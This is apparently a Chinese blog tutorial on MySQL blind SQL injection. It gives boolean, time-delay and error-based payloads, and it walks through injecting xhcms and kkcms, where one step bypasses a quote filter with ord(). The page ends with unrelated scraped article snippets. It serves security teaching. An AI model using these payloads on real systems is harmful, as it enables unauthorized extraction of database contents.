Web攻防04_MySQL注入_盲注
文章目录
- MYSQL-SQL操作-增删改查
- 盲注概念
- 盲注分类
- 盲注语句
- 参考&更多盲注语句/函数
- 注入条件-数据回显&错误处理
- PHP开发项目-注入相关条件:
- 基于延时:
- 基于布尔:
- 基于报错:
- CMS案例-插入报错&删除延时-PHP&MYSQL
- 1、xhcms-insert报错
- 2、kkcms-delete延时
- 总结
参考:https://www.jianshu.com/p/bc35f8dd4f7c
MYSQL-SQL操作-增删改查
1、功能:数据查询
查询:SELECT * FROM news where id=$id
2、功能:新增用户,添加新闻等
增加:INSERT INTO news (字段名) VALUES (数据)
3、功能:删除用户,删除新闻等
删除:DELETE FROM news WHERE id=$id
4、功能:修改用户,修改文章等
修改:UPDATE news SET id=$id
盲注概念
盲注就是在注入过程中,获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。(没有回显的注入)
解决:常规的联合查询注入不行的情况
盲注分类
我们可以知道盲注分为以下三类:
1、基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
需要有回显,错了报错
2、基于时间的SQL盲注-延时判断
if,sleep
3、基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
一般用的较多的是延迟注入和报错注入,布尔需要有回显,一般网站都没有。
盲注语句
延迟:
and sleep(1);
and if(1>2,sleep(1),0);
and if(1<2,sleep(1),0);
布尔:
and length(database())=7; 数据库长度
and left(database(),1)=‘p’; database()的前一位
and left(database(),2)=‘pi’; database()的前两位
and substr(database(),1,1)=‘p’; database()的第一位
and substr(database(),2,1)=‘i’; database()的第二位
and ord(left(database(),1))=112;
报错:
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
0x7e —> 十六进制编码
~为了更好的识别内容,有些工具为了识别也加入
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
有些报错语句基于MySQL版本决定。有些版本不支持一些语句,目前用的最多的语句:
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
参考&更多盲注语句/函数
参考:https://www.jianshu.com/p/bc35f8dd4f7c
like 'ro%' #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等if(条件,5,0) #条件成立 返回5 反之 返回0sleep(5) #SQL语句延时执行5秒mid(a,b,c) #从位置b开始,截取a字符串的c位substr(a,b,c) #从位置b开始,截取字符串a的c长度left(database(),1),database() #left(a,b)从左侧截取a的前b位length(database())=8 #判断数据库database()名的长度ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
注入条件-数据回显&错误处理
PHP开发项目-注入相关条件:
1、是否有输出结果
2、是否开启报错
基于延时:
都不需要
and if(1=1,sleep(5),0)
基于布尔:
有数据库输出判断标准
and length(database())=6
基于报错:
有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入:(有无回显,有无报错)
删除(延迟):1 and if(1=1,sleep(5),0)
删除(布尔):3 and length(database())=6(无回显 无法判断注入)
删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
CMS案例-插入报错&删除延时-PHP&MYSQL
1、xhcms-insert报错
审计时发现有报错注入:

找到网站中该处注入点:

写入注入的报错语句:
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '

保存提交,得到注入结果:

注入得出MySQL版本。
2、kkcms-delete延时
审计时找到可注入点,但是没有回显也没有报错,只能延时注入:

找到页面位置:

由于该注入为延迟注入,需要判断时间,用burpsuite抓包进行改包注入,或用postman等工具进行测试较为方便。
抓到删除的包
使用延时语句进行注入:
and if(1=1,sleep(5),0)
or if(1=1,sleep(5),0)
发现并没有延时:
因为php中有自动过滤单引号,过滤了单引号所以注入失败,将字符换位ASCII码,即可绕过。
MySQL中ord()函数转换为ASCII码
**注入语句:**or if(ord(left(database(),1))=107,sleep(2),0)
ord(left(database(),1))=107该语句表示数据库名第一位的ASCII码为107,即为k
结果:出现延迟

总结
SQL注入-DNSlog带外显示,也就是需要通过SQL语句去请求外部网站,只有使用
load_file()去载入外部网址内容才有可能,所以需要是root用户而且将安全开关关闭,才有可能,实战中基本不可能遇到。没有太大价值。
实际情况中手工注入的机会不多,一般都是先用工具注入,如果工具注入失败,再通过工具的结果情况判断,是哪方面原因,再结合手工注入进行对比,之后再对工具进行修复,对其语句进行修改,再用工具进行注入。
相关文章:
Web攻防04_MySQL注入_盲注
文章目录 MYSQL-SQL操作-增删改查盲注概念盲注分类盲注语句参考&更多盲注语句/函数 注入条件-数据回显&错误处理PHP开发项目-注入相关条件:基于延时:基于布尔:基于报错: CMS案例-插入报错&删除延时-PHP&MYSQL1、x…...
Flask自定义装饰和g的使用
1. 在commons.py文件中新增一个装饰器类: 注:一定要加入wraps进行装饰否则,装饰器在给多个函数进行装饰时会报错 from functools import wraps from flask import session, current_app, g# 定义登陆装饰器,封装用户的登陆数据 def user_log…...
【汇编】汇编语言基础知识(学习笔记)
一、汇编语言概述 汇编语言是直接在硬件之上工作的编程语言,首先要了解硬件奈统的结构,才能有效的应用汇编语言对其编程。 二、汇编语言的产生 机器语言:机器语言是机器指令的集合 汇编语言的主体是汇编指令 汇编指令和机器指令的差别在…...
前端 | FormData 用法详解
前端 | FormData 用法详解 介绍 FormData 是 Ajax2.0 对象用以将数据编译成键值对,以便于 XMLHttpRequest 来发送数据。XMLHttpRequest Level 2 提供的一个接口对象,可以使用该对象来模拟和处理表单并方便的进行文件上传操作 如果表单属性设为 mu…...
linux常见命令-文件目录类
9.4 文件目录类 (1)pwd 指令:显示当前工作目录的绝对路径 (2)Is指令:查看当前目录的所有内容信息 基本语法: ls [选项,可选多个] [目录或是文件] 常用选项:-a:显示当前目录所有的文件和目录,包括隐藏的…...
2023 10月8日 至 10 月16日学习总结
1.做的题目 [RootersCTF2019]I_<3_Flask_双层小牛堡的博客-CSDN博客 [NCTF2019]SQLi regexp 盲注-CSDN博客 [网鼎杯 2018]Comment git泄露 / 恢复 二次注入 .DS_Store bash_history文件查看-CSDN博客 PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客 …...
【Java 进阶篇】深入了解 Bootstrap 表格和菜单
表格和菜单是网页设计中的重要组成部分,它们用于展示数据、导航和用户交互。Bootstrap 是一个强大的前端框架,提供了丰富的表格样式和菜单组件,使开发者能够轻松创建功能丰富的网页。在本文中,我们将深入探讨 Bootstrap 中表格和菜…...
java的for循环中遇到异常抛出后继续循环执行
java的for循环中遇到异常抛出后继续循环执行 Test public void loopTryCatchTest() throws Exception {Map<String, Object> a new HashMap();a.put("a", "1");a.put("b", null);a.put("c", "3");for (Map.Entry<…...
【Javascript】构造函数之new的作用
目录 new的作用 把对象返回了回来 无new 有new 把构造函数的this指向了要返回的对象 无new编辑 有new new的执行流程 new的作用 创建了新空对象将构造函数的作用域赋值给新对象(this指向新对象)执行构造函数代码 (为这个新对象添加属性)返回新对…...
粘包和半包问题及解决办法
粘包问题是指数据在传输时,在一条消息中读取到了另一条消息的部分数据,这种现象就叫做粘包。 半包问题是指数据在传输时,接收端只收到了部分数据,而非完整的数据,就叫做半包。 产生粘包和半包问题原因: …...
MySQL数据库查询实战操作
前置条件: 创建库:MySQL基本操作之创建数据库-CSDN博客 创建表:MySQL基本操作之创建数据表-CSDN博客 目录 常规查询常用函数union查询一、常规查询 1、查询所有姓名以 "张" 开头的学生: SELECT * FROM student WHERE name LIKE 张%; 这条语句使用 LIKE 运算…...
Elasticsearch 8.9 Master节点处理请求源码
大家看可以看ElasticSearch源码:Rest请求与Master节点处理流程(1) 这个图非常好,下午的讲解代码在各个类和方法之间流转,都体现这个图上 一、Master节点处理请求的逻辑1、节点(数据节点)要和主节点进行通讯࿰…...
Python---练习:while循环案例:猜数字
需求: 计算机从1 ~ 10之间随机生成一个数字,然后提示输入数字,如果我们输入的数字与随机数相等,则提示恭喜你,答对了。如果输入的数字比随机数大,则提示,猜大了。反之,则提示猜小了…...
CRM自动化意味着什么?企业如何从中受益?
客户关系管理(CRM)软件不再仅仅适用于大公司或销售周期长的行业,它越来越成为各种规模企业的重要工具。 在日常工作中,当你陷入流程的所有细节时,可能会产生不必要的工作。因此,如果你想要CRM提供的组织和…...
Python大数据之PySpark
PySpark入门 1、 Spark与PySpark 1、 Spark与PySpark...
网工记背命令(7)----静态路由(负载分担,主备备份)
1.静态路由负载分担 如图所示,属于不同网段的主机通过几台 Switch 相连,要求不配置动态路由协议,使不同网 段的任意两台主机之间能够互通,从拓扑图中可以看出,从 PCA 到 PCC 有两条路径可以过去,分别是 PC…...
error: unable to read askpass response from
报错信息 解决方法: 中文:文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文:File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的&#…...
运行stable-diffusion-xl-refiner-1.0遇到version `GLIBCXX_3.4.29‘ not found的问题
一、问题背景 https://huggingface.co/stabilityai/stable-diffusion-xl-refiner-1.0 在运行示例程序时候遇到GLIBCXX_3.4.29‘ not found diffusers to > 0.18.0 import torch from diffusers import StableDiffusionXLImg2ImgPipeline from diffusers.utils import loa…...
Ubuntu - 安装 Elasticsearch(ES)
注意:以下步骤基于 Elasticsearch 7.x 版本。版本可能会随时间而变化,请查看 Elasticsearch 官方网站以获取最新的版本信息。 添加 Elasticsearch APT 仓库: 打开终端,并使用以下命令添加 Elasticsearch APT 仓库到系统…...
字节码进阶之java Instrumentation原理详解
文章目录 0. 前言1. 基础2. Java Instrumentation API使用示例 3. Java Agent4. 字节码操作库5. 实际应用6. 注意事项和最佳实践 0. 前言 Java Instrumentation是Java API的一部分,它允许开发人员在运行时修改类的字节码。使用此功能,可以实现许多高级操…...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...
云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地
借阿里云中企出海大会的东风,以**「云启出海,智联未来|打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办,现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...
[10-3]软件I2C读写MPU6050 江协科技学习笔记(16个知识点)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16...
在Ubuntu中设置开机自动运行(sudo)指令的指南
在Ubuntu系统中,有时需要在系统启动时自动执行某些命令,特别是需要 sudo权限的指令。为了实现这一功能,可以使用多种方法,包括编写Systemd服务、配置 rc.local文件或使用 cron任务计划。本文将详细介绍这些方法,并提供…...
【AI学习】三、AI算法中的向量
在人工智能(AI)算法中,向量(Vector)是一种将现实世界中的数据(如图像、文本、音频等)转化为计算机可处理的数值型特征表示的工具。它是连接人类认知(如语义、视觉特征)与…...
大数据学习(132)-HIve数据分析
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言Ǵ…...
Python ROS2【机器人中间件框架】 简介
销量过万TEEIS德国护膝夏天用薄款 优惠券冠生园 百花蜂蜜428g 挤压瓶纯蜂蜜巨奇严选 鞋子除臭剂360ml 多芬身体磨砂膏280g健70%-75%酒精消毒棉片湿巾1418cm 80片/袋3袋大包清洁食品用消毒 优惠券AIMORNY52朵红玫瑰永生香皂花同城配送非鲜花七夕情人节生日礼物送女友 热卖妙洁棉…...
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数
高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...
Rust 开发环境搭建
环境搭建 1、开发工具RustRover 或者vs code 2、Cygwin64 安装 https://cygwin.com/install.html 在工具终端执行: rustup toolchain install stable-x86_64-pc-windows-gnu rustup default stable-x86_64-pc-windows-gnu 2、Hello World fn main() { println…...
6️⃣Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙
Go 语言中的哈希、加密与序列化:通往区块链世界的钥匙 一、前言:离区块链还有多远? 区块链听起来可能遥不可及,似乎是只有密码学专家和资深工程师才能涉足的领域。但事实上,构建一个区块链的核心并不复杂,尤其当你已经掌握了一门系统编程语言,比如 Go。 要真正理解区…...
